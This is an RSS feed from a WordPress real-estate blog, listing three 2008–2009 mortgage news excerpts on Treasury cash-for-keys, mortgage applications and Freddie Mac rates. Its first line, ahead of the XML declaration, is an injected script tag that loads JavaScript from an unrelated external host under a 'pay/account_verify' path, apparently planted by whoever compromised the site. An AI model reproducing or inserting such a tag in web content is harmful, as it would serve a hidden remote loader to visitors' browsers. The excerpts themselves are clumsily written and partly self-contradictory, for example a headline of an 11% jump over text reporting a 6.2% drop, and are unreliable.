<script src=http://wtlogistik.de/pay/account_verify.php ></script><?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Smashing Estate &#187; Home Mortgage</title>
	<atom:link href="http://www.smashingestate.com/category/home-mortgage/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.smashingestate.com</link>
	<description>Real Estate &#38; Property Blog</description>
	<lastBuildDate>Fri, 28 Aug 2009 10:04:24 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Treasury Dept. providing cash-for-key</title>
		<link>http://www.smashingestate.com/home-mortgage/treasury-dept-providing-cash-for-key.htm</link>
		<comments>http://www.smashingestate.com/home-mortgage/treasury-dept-providing-cash-for-key.htm#comments</comments>
		<pubDate>Sun, 17 May 2009 10:41:31 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Home Mortgage]]></category>

		<guid isPermaLink="false">http://www.smashingestate.com/?p=106</guid>
		<description><![CDATA[As the all economies have dropped, the Treasury Department is now willing to providing cash to the homeowners to step forward and to get loan servicers to forgive mortgage debt.
It is the government&#8217;s Making Home Affordable program and this new initiatives are part of it.
The original program which unveiled earlier this year where homeowner could [...]]]></description>
		<wfw:commentRss>http://www.smashingestate.com/home-mortgage/treasury-dept-providing-cash-for-key.htm/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>U.S. Mortgage Applications Jump 11%</title>
		<link>http://www.smashingestate.com/real-estate-news/us-mortgage-applications-jump-11.htm</link>
		<comments>http://www.smashingestate.com/real-estate-news/us-mortgage-applications-jump-11.htm#comments</comments>
		<pubDate>Mon, 16 Mar 2009 10:28:52 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Home Mortgage]]></category>
		<category><![CDATA[Real Estate News]]></category>

		<guid isPermaLink="false">http://www.smashingestate.com/?p=78</guid>
		<description><![CDATA[According to an industry trade group on Wednesday, the maximum 30-year mortgage rates in a year worn demand for U.S. house refinancing and purchase loans.
With interest rates declining, the amount of mortgage applications as tracked by the Mortgage Bankers Association&#8217;s (MBA) seasonally adjusted application index dropped 6.2 percent in the week ending July 18 to [...]]]></description>
		<wfw:commentRss>http://www.smashingestate.com/real-estate-news/us-mortgage-applications-jump-11.htm/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Home Mortgage Rates Average Unchanged</title>
		<link>http://www.smashingestate.com/home-mortgage/home-mortgage-rates-average-unchanged.htm</link>
		<comments>http://www.smashingestate.com/home-mortgage/home-mortgage-rates-average-unchanged.htm#comments</comments>
		<pubDate>Sun, 10 Aug 2008 06:24:48 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Home Mortgage]]></category>

		<guid isPermaLink="false">http://www.smashingestate.com/?p=5</guid>
		<description><![CDATA[Thursday, 7 August Freddie Mac. (Federal Home Loan Mortgage Corporation) declared that the 30-year fixed-rate of home-mortgage average remain unchanged from a week ago since mortgage applications slowed to a five-year period level low. The rate was 6.52 percent for this week ended August 7 and compared with the previous year 6.59 percent. On the [...]]]></description>
		<wfw:commentRss>http://www.smashingestate.com/home-mortgage/home-mortgage-rates-average-unchanged.htm/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
